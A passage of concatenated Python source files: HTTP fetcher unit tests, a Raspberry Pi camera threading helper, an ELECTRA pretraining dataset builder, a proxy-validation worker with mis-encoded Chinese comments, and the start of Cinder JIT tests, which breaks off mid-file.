non_exc_fetchers = [] for f in exc_fetchers: non_exc_fetchers.append(fetchers.ExceptionWrappingFetcher(f)) for f in exc_fetchers: test_fetcher(f, True, server) for f in non_exc_fetchers: test_fetcher(f, False, server) class FetcherTestHandler(BaseHTTPRequestHandler): cases = { '/success': (200, None), '/301redirect': (301, '/success'), '/302redirect': (302, '/success'), '/303redirect': (303, '/success'), '/307redirect': (307, '/success'), '/notfound': (404, None), '/badreq': (400, None), '/forbidden': (403, None), '/error': (500, None), '/server_error': (503, None), } def log_request(self, *args): pass def do_GET(self): try: http_code, location = self.cases[self.path] except KeyError: self.errorResponse('Bad path') else: extra_headers = [('Content-type', 'text/plain')] if location is not None: host, port = self.server.server_address base = ('http://%s:%s' % (socket.getfqdn(host), port,)) location = base + location extra_headers.append(('Location', location)) self._respond(http_code, extra_headers, self.path) def do_POST(self): try: http_code, extra_headers = self.cases[self.path] except KeyError: self.errorResponse('Bad path') else: if http_code in [301, 302, 303, 307]: self.errorResponse() else: content_type = self.headers.get('content-type', 'text/plain') extra_headers.append(('Content-type', content_type)) content_length = int(self.headers.get('Content-length', '-1')) body = self.rfile.read(content_length) self._respond(http_code, extra_headers, body) def errorResponse(self, message=None): req = [ ('HTTP method', self.command), ('path', self.path), ] if message: req.append(('message', message)) body_parts = ['Bad request:\r\n'] for k, v in req: body_parts.append(' %s: %s\r\n' % (k, v)) body = ''.join(body_parts) self._respond(400, [('Content-type', 'text/plain')], body) def _respond(self, http_code, extra_headers, body): self.send_response(http_code) for k, v in extra_headers: self.send_header(k, v) self.end_headers() self.wfile.write(body.encode('utf-8')) def finish(self): if not self.wfile.closed: self.wfile.flush() self.wfile.close() self.rfile.close() def parse_request(self): """Contain a hook to simulate closed connection.""" # Parse the request first # BaseHTTPRequestHandler is old style class in 2.7 if type(FetcherTestHandler) == type: result = super(FetcherTestHandler, self).parse_request() else: result = BaseHTTPRequestHandler.parse_request(self) # If the connection should be closed, do so. if self.path == '/closed': self.wfile.close() return False else: # Otherwise continue as usual. return result class TestFetchers(unittest.TestCase): def test(self): server = HTTPServer(("", 0), FetcherTestHandler) import threading server_thread = threading.Thread(target=server.serve_forever) server_thread.setDaemon(True) server_thread.start() run_fetcher_tests(server) class FakeFetcher(object): sentinel = object() def fetch(self, *args, **kwargs): return self.sentinel class DefaultFetcherTest(unittest.TestCase): def setUp(self): """reset the default fetcher to None""" fetchers.setDefaultFetcher(None) def tearDown(self): """reset the default fetcher to None""" fetchers.setDefaultFetcher(None) def test_getDefaultNotNone(self): """Make sure that None is never returned as a default fetcher""" self.assertIsNotNone(fetchers.getDefaultFetcher()) fetchers.setDefaultFetcher(None) self.assertIsNotNone(fetchers.getDefaultFetcher()) def test_setDefault(self): """Make sure the getDefaultFetcher returns the object set for setDefaultFetcher""" sentinel = object() fetchers.setDefaultFetcher(sentinel, wrap_exceptions=False) self.assertEqual(fetchers.getDefaultFetcher(), sentinel) def test_callFetch(self): """Make sure that fetchers.fetch() uses the default fetcher instance that was set.""" fetchers.setDefaultFetcher(FakeFetcher()) actual = fetchers.fetch('bad://url') self.assertEqual(actual, FakeFetcher.sentinel) def test_wrappedByDefault(self): """Make sure that the default fetcher instance wraps exceptions by default""" default_fetcher = fetchers.getDefaultFetcher() self.assertIsInstance(default_fetcher, fetchers.ExceptionWrappingFetcher) self.assertRaises(fetchers.HTTPFetchingError, fetchers.fetch, 'http://invalid.janrain.com/') def test_notWrapped(self): """Make sure that if we set a non-wrapped fetcher as default, it will not wrap exceptions.""" # A fetcher that will raise an exception when it encounters a # host that will not resolve fetcher = fetchers.Urllib2Fetcher() fetchers.setDefaultFetcher(fetcher, wrap_exceptions=False) self.assertNotIsInstance(fetchers.getDefaultFetcher(), fetchers.ExceptionWrappingFetcher) with self.assertRaises(URLError): fetchers.fetch('http://invalid.janrain.com/') class TestHandler(BaseHandler): """Urllib2 test handler.""" def __init__(self, http_mock): self.http_mock = http_mock def http_open(self, req): return self.http_mock() class TestUrllib2Fetcher(unittest.TestCase): """Test `Urllib2Fetcher` class.""" fetcher = fetchers.Urllib2Fetcher() invalid_url_error = ValueError def setUp(self): self.http_mock = Mock(side_effect=[]) opener = OpenerDirector() opener.add_handler(TestHandler(self.http_mock)) install_opener(opener) def tearDown(self): # Uninstall custom opener install_opener(None) def add_response(self, url, status_code, headers, body=None): response = addinfourl(StringIO(body or ''), headers, url, status_code) responses = list(self.http_mock.side_effect) responses.append(response) self.http_mock.side_effect = responses def test_success(self): # Test success response self.add_response('http://example.cz/success/', 200, {'Content-Type': 'text/plain'}, 'BODY') response = self.fetcher.fetch('http://example.cz/success/') expected = fetchers.HTTPResponse('http://example.cz/success/', 200, {'Content-Type': 'text/plain'}, 'BODY') assertResponse(expected, response) def test_redirect(self): # Test redirect response - a final response comes from another URL. self.add_response('http://example.cz/success/', 200, {'Content-Type': 'text/plain'}, 'BODY') response = self.fetcher.fetch('http://example.cz/redirect/') expected = fetchers.HTTPResponse('http://example.cz/success/', 200, {'Content-Type': 'text/plain'}, 'BODY') assertResponse(expected, response) def test_error(self): # Test error responses - returned as obtained self.add_response('http://example.cz/error/', 500, {'Content-Type': 'text/plain'}, 'BODY') response = self.fetcher.fetch('http://example.cz/error/') expected = fetchers.HTTPResponse('http://example.cz/error/', 500, {'Content-Type': 'text/plain'}, 'BODY') assertResponse(expected, response) def test_invalid_url(self): with six.assertRaisesRegex(self, self.invalid_url_error, 'Bad URL scheme:'): self.fetcher.fetch('invalid://example.cz/') def test_connection_error(self): # Test connection error self.http_mock.side_effect = HTTPError('http://example.cz/error/', 500, 'Error message', {'Content-Type': 'text/plain'}, StringIO('BODY')) response = self.fetcher.fetch('http://example.cz/error/') expected = fetchers.HTTPResponse('http://example.cz/error/', 500, {'Content-Type': 'text/plain'}, 'BODY') assertResponse(expected, response) class TestSilencedUrllib2Fetcher(TestUrllib2Fetcher): """Test silenced `Urllib2Fetcher` class.""" fetcher = fetchers.ExceptionWrappingFetcher(fetchers.Urllib2Fetcher()) invalid_url_error = fetchers.HTTPFetchingError @unittest.skipUnless(requests, "Requests are not installed") class TestRequestsFetcher(unittest.TestCase): """Test `RequestsFetcher` class.""" fetcher = fetchers.RequestsFetcher() def test_get(self): # Test GET response with responses.RequestsMock() as rsps: rsps.add(responses.GET, 'http://example.cz/', status=200, body=b'BODY', headers={'Content-Type': 'text/plain'}) response = self.fetcher.fetch('http://example.cz/') expected = fetchers.HTTPResponse('http://example.cz/', 200, {'Content-Type': 'text/plain'}, b'BODY') assertResponse(expected, response) def test_post(self): # Test POST response with responses.RequestsMock() as rsps: rsps.add(responses.POST, 'http://example.cz/', status=200, body=b'BODY', headers={'Content-Type': 'text/plain'}) response = self.fetcher.fetch('http://example.cz/', body=b'key=value') expected = fetchers.HTTPResponse('http://example.cz/', 200, {'Content-Type': 'text/plain'}, b'BODY') assertResponse(expected, response) def test_redirect(self): # Test redirect response - a final response comes from another URL. with responses.RequestsMock() as rsps: rsps.add(responses.GET, 'http://example.cz/redirect/', status=302, headers={'Location': 'http://example.cz/target/'}) rsps.add(responses.GET, 'http://example.cz/target/', status=200, body=b'BODY', headers={'Content-Type': 'text/plain'}) response = self.fetcher.fetch('http://example.cz/redirect/') expected = fetchers.HTTPResponse('http://example.cz/target/', 200, {'Content-Type': 'text/plain'}, b'BODY') assertResponse(expected, response) def test_error(self): # Test error responses - returned as obtained with responses.RequestsMock() as rsps: rsps.add(responses.GET, 'http://example.cz/error/', status=500, body=b'BODY', headers={'Content-Type': 'text/plain'}) response = self.fetcher.fetch('http://example.cz/error/') expected = fetchers.HTTPResponse('http://example.cz/error/', 500, {'Content-Type': 'text/plain'}, b'BODY') assertResponse(expected, response) def test_invalid_url(self): invalid_url = 'invalid://example.cz/' with six.assertRaisesRegex(self, InvalidSchema, "No connection adapters were found for '" + invalid_url + "'"): self.fetcher.fetch(invalid_url) def test_connection_error(self): # Test connection error with responses.RequestsMock() as rsps: rsps.add(responses.GET, 'http://example.cz/', body=ConnectionError('Name or service not known')) with six.assertRaisesRegex(self, ConnectionError, 'Name or service not known'): self.fetcher.fetch('http://example.cz/')
camera_func.py
#!/usr/bin/env python """ Functions related to the camera module. Part of ELEC4500 Senior Electronic Design I, Spring 2016 Dept. of Electrical Engineering and Technology Wentworth Institute of Technology. """ from threading import Thread from picamera.array import PiRGBArray from picamera import PiCamera class Scry: '''Utilize multi-threading for capturing and processing frames.''' def __init__(self, resolution=(640, 480), framerate=15, rotation=270): # Init camera module and stream. self.camera = PiCamera() self.camera.resolution = resolution self.camera.framerate = framerate self.camera.rotation = rotation self.rawCapture = PiRGBArray(self.camera, size=resolution) self.stream = self.camera.capture_continuous(self.rawCapture, format="bgr", use_video_port=True) # Init frame and a var to indicate the thread stopping point. self.frame = None self.stopped = False def start(self): '''Start a thread to intercept incoming frames.''' Thread(target=self.update, args=()).start() return self def update(self): '''Continuously loop until the thread is stopped.''' for f in self.stream: # Grab frame and clear stream in preparation for the next frame. self.frame = f.array self.rawCapture.truncate(0) # If the thread indicator is set, stop thread and camera resources. if self.stopped: self.stream.close() self.rawCapture.close() self.camera.close() return def read(self): '''Return the last frame that was analyzed.''' return self.frame def stop(self): '''Indicate the stopping point for a thread.''' self.stopped = True
build_pretraining_dataset.py
# coding=utf-8 # Copyright 2020 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Writes out text data as tfrecords that ELECTRA can be pre-trained on.""" import argparse import multiprocessing import os import random import time import logging import tensorflow.compat.v1 as tf from model import tokenization from util import utils from configure_pretraining import CHA logger = logging.getLogger(__name__) def create_int_feature(values): feature = tf.train.Feature(int64_list=tf.train.Int64List(value=list(values))) return feature class ExampleBuilder(object): """Given a stream of input text, creates pretraining examples.""" def __init__(self, tokenizer, max_length): self._tokenizer = tokenizer self._current_sentences = [] self._current_length = 0 self._max_length = max_length self._target_length = max_length def add_line(self, line): """Adds a line of text to the current example being built.""" line = line.strip().replace("\n", " ") if (not line) and self._current_length != 0: # empty lines separate docs return self._create_example() bert_tokens = self._tokenizer.tokenize(line) bert_tokids = self._tokenizer.convert_tokens_to_ids(bert_tokens) self._current_sentences.append(bert_tokids) self._current_length += len(bert_tokids) if self._current_length >= self._target_length: return self._create_example() return None def _create_example(self): """Creates a pre-training example from the current list of sentences.""" # small chance to only have one segment as in classification tasks if random.random() < 0.1: first_segment_target_length = 100000 else: # -3 due to not yet having [CLS]/[SEP] tokens in the input text first_segment_target_length = (self._target_length - 3) // 2 first_segment = [] second_segment = [] for sentence in self._current_sentences: # the sentence goes to the first segment if (1) the first segment is # empty, (2) the sentence doesn't put the first segment over length or # (3) 50% of the time when it does put the first segment over length if (len(first_segment) == 0 or len(first_segment) + len(sentence) < first_segment_target_length or (len(second_segment) == 0 and len(first_segment) < first_segment_target_length and random.random() < 0.5)): first_segment += sentence else: second_segment += sentence # trim to max_length while accounting for not-yet-added [CLS]/[SEP] tokens first_segment = first_segment[:self._max_length - 2] second_segment = second_segment[:max(0, self._max_length - len(first_segment) - 3)] # prepare to start building the next example self._current_sentences = [] self._current_length = 0 # small chance for random-length instead of max_length-length example if random.random() < 0.05: self._target_length = random.randint(5, self._max_length) else: self._target_length = self._max_length return self._make_tf_example(first_segment, second_segment) def _make_tf_example(self, first_segment, second_segment): """Converts two "segments" of text into a tf.train.Example.""" vocab = self._tokenizer.vocab input_ids = [vocab["[CLS]"]] + first_segment + [vocab["[SEP]"]] segment_ids = [0] * len(input_ids) if second_segment: input_ids += second_segment + [vocab["[SEP]"]] segment_ids += [1] * (len(second_segment) + 1) input_mask = [1] * len(input_ids) input_ids += [0] * (self._max_length - len(input_ids)) input_mask += [0] * (self._max_length - len(input_mask)) segment_ids += [0] * (self._max_length - len(segment_ids)) tf_example = tf.train.Example(features=tf.train.Features(feature={ "input_ids": create_int_feature(input_ids), "input_mask": create_int_feature(input_mask), "segment_ids": create_int_feature(segment_ids) })) return tf_example class ExampleWriter(object): """Writes pre-training examples to disk.""" def __init__(self, job_id, vocab_file, output_dir, max_seq_length, num_jobs, blanks_separate_docs, do_lower_case, num_out_files=1000): self._blanks_separate_docs = blanks_separate_docs tokenizer = tokenization.FullTokenizer( vocab_file=vocab_file, do_lower_case=do_lower_case) self._example_builder = ExampleBuilder(tokenizer, max_seq_length) self._writers = [] for i in range(num_out_files): if i % num_jobs == job_id: output_fname = os.path.join( output_dir, "pretrain_data.tfrecord-{:}-of-{:}".format( i, num_out_files)) self._writers.append(tf.io.TFRecordWriter(output_fname)) self.n_written = 0 self.job_id = job_id def write_examples(self, input_file): """Writes out examples from the provided input file.""" with tf.io.gfile.GFile(input_file) as f: for line in f: line = line.strip() if line or self._blanks_separate_docs: example = self._example_builder.add_line(line) if example: self._writers[self.n_written % len(self._writers)].write( example.SerializeToString()) self.n_written += 1 example = self._example_builder.add_line("") if example: self._writers[self.n_written % len(self._writers)].write( example.SerializeToString()) self.n_written += 1 if self.n_written % 50000 == 1: logger.info("preprocess line (JOB {}): {}".format(self.job_id, self.n_written)) def finish(self): for writer in self._writers: writer.close() def write_examples(job_id, args): """A single process creating and writing out pre-processed examples.""" def log(*args): msg = " ".join(map(str, args)) print("Job {}:".format(job_id), msg) log("Creating example writer") example_writer = ExampleWriter( job_id=job_id, vocab_file=args.vocab_file, output_dir=args.output_dir, max_seq_length=args.max_seq_length, num_jobs=args.num_processes, blanks_separate_docs=args.blanks_separate_docs, do_lower_case=args.do_lower_case ) log("Writing tf examples") fnames = sorted(tf.io.gfile.listdir(args.corpus_dir)) fnames = [f for (i, f) in enumerate(fnames) if i % args.num_processes == job_id] random.shuffle(fnames) start_time = time.time() for file_no, fname in enumerate(fnames): if file_no > 0: elapsed = time.time() - start_time log("processed {:}/{:} files ({:.1f}%), ELAPSED: {:}s, ETA: {:}s, " "{:} examples written".format( file_no, len(fnames), 100.0 * file_no / len(fnames), int(elapsed), int((len(fnames) - file_no) / (file_no / elapsed)), example_writer.n_written)) example_writer.write_examples(os.path.join(args.corpus_dir, fname)) example_writer.finish() log("Done!") def main(): parser = argparse.ArgumentParser(description=__doc__) if CHA: parser.add_argument("--corpus-dir", default='/home/jae4258/dataset/twitter_ko_cha_all/', help="Location of pre-training text files.") parser.add_argument("--vocab-file", default="finelectra-wordpiece-cha-vocab{}".format(32000) + "-vocab.txt", help="Location of vocabulary file.") parser.add_argument("--output-dir", default="pretrain_tfrecords_cha", help="Where to write out the tfrecords.") parser.add_argument("--max-seq-length", default=512, type=int, help="Number of tokens per example.") parser.add_argument("--num-processes", default=5, type=int, help="Parallelize across multiple processes.") parser.add_argument("--blanks-separate-docs", default=True, type=bool, help="Whether blank lines indicate document boundaries.") parser.add_argument("--do-lower-case", dest='do_lower_case', action='store_false', help="Lower case input text.") parser.add_argument("--no-lower-case", dest='do_lower_case', action='store_true', help="Don't lower case input text.") parser.set_defaults(do_lower_case=True) else: parser.add_argument("--corpus-dir", default='/home/jae4258/dataset/twitter_ko_all/', help="Location of pre-training text files.") parser.add_argument("--vocab-file", default="finelectra-wordpiece-vocab{}".format(32000) + "-vocab.txt", help="Location of vocabulary file.") parser.add_argument("--output-dir", default="pretrain_tfrecords", help="Where to write out the tfrecords.") parser.add_argument("--max-seq-length", default=512, type=int, help="Number of tokens per example.") parser.add_argument("--num-processes", default=5, type=int, help="Parallelize across multiple processes.") parser.add_argument("--blanks-separate-docs", default=True, type=bool, help="Whether blank lines indicate document boundaries.") parser.add_argument("--do-lower-case", dest='do_lower_case', action='store_false', help="Lower case input text.") parser.add_argument("--no-lower-case", dest='do_lower_case', action='store_true', help="Don't lower case input text.") args = parser.parse_args() # Setup logging logging.basicConfig( filename="build_pretraining_dataset.log", filemode='a', format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO, ) utils.rmkdir(args.output_dir) if args.num_processes == 1: write_examples(0, args) else: jobs = [] for i in range(args.num_processes): job = multiprocessing.Process(target=write_examples, args=(i, args)) jobs.append(job) job.start() for job in jobs: job.join() if __name__ == "__main__": main()
run_validator.py
# encoding: utf-8 """ ้ชŒ่ฏๅ™จ้€ป่พ‘ """ import sys import socket import threading from queue import Queue import logging import time import requests from func_timeout import func_set_timeout from func_timeout.exceptions import FunctionTimedOut from db import conn from config import PROC_VALIDATOR_SLEEP, VALIDATE_THREAD_NUM from config import VALIDATE_METHOD, VALIDATE_KEYWORD, VALIDATE_HEADER, VALIDATE_URL, VALIDATE_TIMEOUT, VALIDATE_MAX_FAILS logging.basicConfig(stream=sys.stdout, format="%(asctime)s-%(levelname)s:%(name)s:%(message)s", level='INFO') def main(): """ ้ชŒ่ฏๅ™จ ไธป่ฆ้€ป่พ‘๏ผš ๅˆ›ๅปบVALIDATE_THREAD_NUMไธช้ชŒ่ฏ็บฟ็จ‹๏ผŒ่ฟ™ไบ›็บฟ็จ‹ไผšไธๆ–ญ่ฟ่กŒ While True: ๆฃ€ๆŸฅ้ชŒ่ฏ็บฟ็จ‹ๆ˜ฏๅฆ่ฟ”ๅ›žไบ†ไปฃ็†็š„้ชŒ่ฏ็ป“ๆžœ ไปŽๆ•ฐๆฎๅบ“ไธญ่Žทๅ–่‹ฅๅนฒๅฝ“ๅ‰ๅพ…้ชŒ่ฏ็š„ไปฃ็† ๅฐ†ไปฃ็†ๅ‘้€็ป™ๅ‰้ขๅˆ›ๅปบ็š„็บฟ็จ‹ """ logger = logging.getLogger('validator') in_que = Queue() out_que = Queue() running_proxies = set() # ๅ‚จๅญ˜ๅ“ชไบ›ไปฃ็†ๆญฃๅœจ่ฟ่กŒ๏ผŒไปฅๅญ—็ฌฆไธฒ็š„ๅฝขๅผๅ‚จๅญ˜ threads = [] for _ in range(VALIDATE_THREAD_NUM): threads.append(threading.Thread(target=validate_thread, args=(in_que, out_que))) [_.start() for _ in threads] while True: out_cnt = 0 while not out_que.empty(): proxy, success, latency = out_que.get() conn.pushValidateResult(proxy, success, latency) uri = f'{proxy.protocol}://{proxy.ip}:{proxy.port}' assert uri in running_proxies running_proxies.remove(uri) out_cnt = out_cnt + 1 if out_cnt > 0: logger.info(f'ๅฎŒๆˆไบ†{out_cnt}ไธชไปฃ็†็š„้ชŒ่ฏ') # ๅฆ‚ๆžœๆญฃๅœจ่ฟ›่กŒ้ชŒ่ฏ็š„ไปฃ็†่ถณๅคŸๅคš๏ผŒ้‚ฃไนˆๅฐฑไธ็€ๆ€ฅๆทปๅŠ ๆ–ฐไปฃ็† if len(running_proxies) >= VALIDATE_THREAD_NUM: time.sleep(PROC_VALIDATOR_SLEEP) continue # ๆ‰พไธ€ไบ›ๆ–ฐ็š„ๅพ…้ชŒ่ฏ็š„ไปฃ็†ๆ”พๅ…ฅ้˜Ÿๅˆ—ไธญ added_cnt = 0 for proxy in conn.getToValidate(VALIDATE_THREAD_NUM): uri = f'{proxy.protocol}://{proxy.ip}:{proxy.port}' # ่ฟ™้‡Œๆ‰พๅ‡บ็š„ไปฃ็†ๆœ‰ๅฏ่ƒฝๆ˜ฏๆญฃๅœจ่ฟ›่กŒ้ชŒ่ฏ็š„ไปฃ็†๏ผŒ่ฆ้ฟๅ…้‡ๅคๅŠ ๅ…ฅ if uri not in running_proxies: running_proxies.add(uri) in_que.put(proxy) added_cnt += 1 if added_cnt == 0: time.sleep(PROC_VALIDATOR_SLEEP) @func_set_timeout(VALIDATE_TIMEOUT * 2) def validate_once(proxy): """ ่ฟ›่กŒไธ€ๆฌก้ชŒ่ฏ๏ผŒๅฆ‚ๆžœ้ชŒ่ฏๆˆๅŠŸๅˆ™่ฟ”ๅ›žTrue๏ผŒๅฆๅˆ™่ฟ”ๅ›žFalseๆˆ–่€…ๆ˜ฏๅผ‚ๅธธ """ proxies = { 'http': f'{proxy.protocol}://{proxy.ip}:{proxy.port}', 'https': f'{proxy.protocol}://{proxy.ip}:{proxy.port}' } if VALIDATE_METHOD == "GET": r = requests.get(VALIDATE_URL, timeout=VALIDATE_TIMEOUT, proxies=proxies) r.encoding = "utf-8" html = r.text if VALIDATE_KEYWORD in html: return True return False else: r = requests.head(VALIDATE_URL, timeout=VALIDATE_TIMEOUT, proxies=proxies) resp_headers = r.headers if VALIDATE_HEADER in resp_headers.keys() and VALIDATE_KEYWORD in resp_headers[VALIDATE_HEADER]: return True return False def validate_thread(in_que, out_que): """ ้ชŒ่ฏๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ไธชๅ‡ฝๆ•ฐไผšๅœจไธ€ไธช็บฟ็จ‹ไธญ่ขซ่ฐƒ็”จ in_que: ่พ“ๅ…ฅ้˜Ÿๅˆ—๏ผŒ็”จไบŽๆŽฅๆ”ถ้ชŒ่ฏไปปๅŠก out_que: ่พ“ๅ‡บ้˜Ÿๅˆ—๏ผŒ็”จไบŽ่ฟ”ๅ›ž้ชŒ่ฏ็ป“ๆžœ in_queๅ’Œout_que้ƒฝๆ˜ฏ็บฟ็จ‹ๅฎ‰ๅ…จ้˜Ÿๅˆ—๏ผŒๅนถไธ”ๅฆ‚ๆžœ้˜Ÿๅˆ—ไธบ็ฉบ๏ผŒ่ฐƒ็”จin_que.get()ไผš้˜ปๅกž็บฟ็จ‹ """ while True: proxy = in_que.get() success = False latency = None for _ in range(VALIDATE_MAX_FAILS): try: start_time = time.time() if validate_once(proxy): end_time = time.time() latency = int((end_time-start_time)*1000) success = True break except Exception as e: pass except FunctionTimedOut: pass out_que.put((proxy, success, latency))
test_cinderjit.py
# Copyright (c) Facebook, Inc. and its affiliates. (http://www.facebook.com) import _testcapi import asyncio import builtins import dis import gc import sys import tempfile import threading import traceback import types import unittest import warnings import weakref from compiler.consts import CO_NORMAL_FRAME, CO_SUPPRESS_JIT from compiler.static import StaticCodeGenerator from contextlib import contextmanager from functools import cmp_to_key from pathlib import Path from textwrap import dedent try: with warnings.catch_warnings(): warnings.simplefilter("ignore") from .test_compiler.test_static.common import StaticTestBase except ImportError: from test_compiler.test_static.common import StaticTestBase from contextlib import contextmanager try: import cinderjit from cinderjit import jit_suppress except: cinderjit = None def jit_suppress(func): return func class GetFrameLineNumberTests(unittest.TestCase): def assert_code_and_lineno(self, frame, func, lineno): self.assertEqual(frame.f_code, func.__code__) self.assertEqual(frame.f_lineno, lineno) def test_line_numbers(self): """Verify that line numbers are correct""" @unittest.failUnlessJITCompiled def g(): return sys._getframe() self.assert_code_and_lineno(g(), g, 51) def test_line_numbers_for_running_generators(self): """Verify that line numbers are correct for running generator functions""" @unittest.failUnlessJITCompiled def g(x, y): yield sys._getframe() z = x + y yield sys._getframe() yield z initial_lineno = 60 gen = g(1, 2) frame = next(gen) self.assert_code_and_lineno(frame, g, initial_lineno) frame = next(gen) self.assert_code_and_lineno(frame, g, initial_lineno + 2) self.assertEqual(next(gen), 3) def test_line_numbers_for_suspended_generators(self): """Verify that line numbers are correct for suspended generator functions""" @unittest.failUnlessJITCompiled def g(x): x = x + 1 yield x z = x + 1 yield z gen = g(0) initial_lineno = 76 self.assert_code_and_lineno(gen.gi_frame, g, initial_lineno) v = next(gen) self.assertEqual(v, 1) self.assert_code_and_lineno(gen.gi_frame, g, initial_lineno + 3) v = next(gen) self.assertEqual(v, 2) self.assert_code_and_lineno(gen.gi_frame, g, initial_lineno + 5) def test_line_numbers_during_gen_throw(self): """Verify that line numbers are correct for suspended generator functions when an exception is thrown into them. """ @unittest.failUnlessJITCompiled def f1(g): yield from g @unittest.failUnlessJITCompiled def f2(g): yield from g gen1, gen2 = None, None gen1_frame, gen2_frame = None, None @unittest.failUnlessJITCompiled def f3(): nonlocal gen1_frame, gen2_frame try: yield "hello" except TestException: gen1_frame = gen1.gi_frame gen2_frame = gen2.gi_frame raise gen3 = f3() gen2 = f2(gen3) gen1 = f1(gen2) gen1.send(None) with self.assertRaises(TestException): gen1.throw(TestException()) initial_lineno = 100 self.assert_code_and_lineno(gen1_frame, f1, initial_lineno) self.assert_code_and_lineno(gen2_frame, f2, initial_lineno + 4) def test_line_numbers_from_finalizers(self): """Make sure we can get accurate line numbers from finalizers""" stack = None class StackGetter: def __del__(self): nonlocal stack stack = traceback.extract_stack() @unittest.failUnlessJITCompiled def double(x): ret = x tmp = StackGetter() del tmp ret += x return ret res = double(5) self.assertEqual(res, 10) self.assertEqual(stack[-1].lineno, 136) self.assertEqual(stack[-2].lineno, 142) @unittest.failUnlessJITCompiled def get_stack(): z = 1 + 1 stack = traceback.extract_stack() return stack @unittest.failUnlessJITCompiled def get_stack_twice(): stacks = [] stacks.append(get_stack()) stacks.append(get_stack()) return stacks @unittest.failUnlessJITCompiled def get_stack2(): z = 2 + 2 stack = traceback.extract_stack() return stack @unittest.failUnlessJITCompiled def get_stack_siblings(): return [get_stack(), get_stack2()] @unittest.failUnlessJITCompiled def get_stack_multi(): stacks = [] stacks.append(traceback.extract_stack()) z = 1 + 1 stacks.append(traceback.extract_stack()) return stacks @unittest.failUnlessJITCompiled def call_get_stack_multi(): x = 1 + 1 return get_stack_multi() class InlinedFunctionLineNumberTests(unittest.TestCase): @jit_suppress @unittest.skipIf( not cinderjit or not cinderjit.is_hir_inliner_enabled(), "meaningless without HIR inliner enabled", ) def test_line_numbers_with_sibling_inlined_functions(self): """Verify that line numbers are correct when function calls are inlined in the same expression""" # Calls to get_stack and get_stack2 should be inlined self.assertEqual(cinderjit.get_num_inlined_functions(get_stack_siblings), 2) stacks = get_stack_siblings() # Call to get_stack self.assertEqual(stacks[0][-1].lineno, 155) self.assertEqual(stacks[0][-2].lineno, 176) # Call to get_stack2 self.assertEqual(stacks[1][-1].lineno, 170) self.assertEqual(stacks[1][-2].lineno, 176) @jit_suppress @unittest.skipIf( not cinderjit or not cinderjit.is_hir_inliner_enabled(), "meaningless without HIR inliner enabled", ) def test_line_numbers_at_multiple_points_in_inlined_functions(self): """Verify that line numbers are are correct at different points in an inlined function""" # Call to get_stack_multi should be inlined self.assertEqual(cinderjit.get_num_inlined_functions(call_get_stack_multi), 1) stacks = call_get_stack_multi() self.assertEqual(stacks[0][-1].lineno, 182) self.assertEqual(stacks[0][-2].lineno, 191) self.assertEqual(stacks[1][-1].lineno, 184) self.assertEqual(stacks[1][-2].lineno, 191) @jit_suppress @unittest.skipIf( not cinderjit or not cinderjit.is_hir_inliner_enabled(), "meaningless without HIR inliner enabled", ) def test_line_numbers_with_multiple_inlined_calls(self): """Verify that line numbers are correct for inlined calls that appear in different statements """ # Call to get_stack should be inlined twice self.assertEqual(cinderjit.get_num_inlined_functions(get_stack_twice), 2) stacks = get_stack_twice() # First call to double self.assertEqual(stacks[0][-1].lineno, 155) self.assertEqual(stacks[0][-2].lineno, 162) # Second call to double self.assertEqual(stacks[1][-1].lineno, 155) self.assertEqual(stacks[1][-2].lineno, 163) # Decorator to return a new version of the function with an alternate globals # dict. def with_globals(gbls): def decorator(func): new_func = type(func)( func.__code__, gbls, func.__name__, func.__defaults__, func.__closure__ ) new_func.__module__ = func.__module__ new_func.__kwdefaults__ = func.__kwdefaults__ return new_func return decorator @unittest.failUnlessJITCompiled def get_meaning_of_life(obj): return obj.meaning_of_life() def nothing(): return 0 def _simpleFunc(a, b): return a, b class _CallableObj: def __call__(self, a, b): return self, a, b class CallKWArgsTests(unittest.TestCase): @unittest.failUnlessJITCompiled def test_call_basic_function_pos_and_kw(self): r = _simpleFunc(1, b=2) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def test_call_basic_function_kw_only(self): r = _simpleFunc(b=2, a=1) self.assertEqual(r, (1, 2)) r = _simpleFunc(a=1, b=2) self.assertEqual(r, (1, 2)) @staticmethod def _f1(a, b): return a, b @unittest.failUnlessJITCompiled def test_call_class_static_pos_and_kw(self): r = CallKWArgsTests._f1(1, b=2) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def test_call_class_static_kw_only(self): r = CallKWArgsTests._f1(b=2, a=1) self.assertEqual(r, (1, 2)) def _f2(self, a, b): return self, a, b @unittest.failUnlessJITCompiled def test_call_method_kw_and_pos(self): r = self._f2(1, b=2) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_method_kw_only(self): r = self._f2(b=2, a=1) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_bound_method_kw_and_pos(self): f = self._f2 r = f(1, b=2) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_bound_method_kw_only(self): f = self._f2 r = f(b=2, a=1) self.assertEqual(r, (self, 1, 2)) @unittest.failUnlessJITCompiled def test_call_obj_kw_and_pos(self): o = _CallableObj() r = o(1, b=2) self.assertEqual(r, (o, 1, 2)) @unittest.failUnlessJITCompiled def test_call_obj_kw_only(self): o = _CallableObj() r = o(b=2, a=1) self.assertEqual(r, (o, 1, 2)) @unittest.failUnlessJITCompiled def test_call_c_func(self): self.assertEqual(__import__("sys", globals=None), sys) class CallExTests(unittest.TestCase): @unittest.failUnlessJITCompiled def test_call_dynamic_kw_dict(self): r = _simpleFunc(**{"b": 2, "a": 1}) self.assertEqual(r, (1, 2)) class _DummyMapping: def keys(self): return ("a", "b") def __getitem__(self, k): return {"a": 1, "b": 2}[k] @unittest.failUnlessJITCompiled def test_call_dynamic_kw_dict(self): r = _simpleFunc(**CallExTests._DummyMapping()) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def test_call_dynamic_pos_tuple(self): r = _simpleFunc(*(1, 2)) self.assertEqual(r, (1, 2)) @unittest.failUnlessJITCompiled def 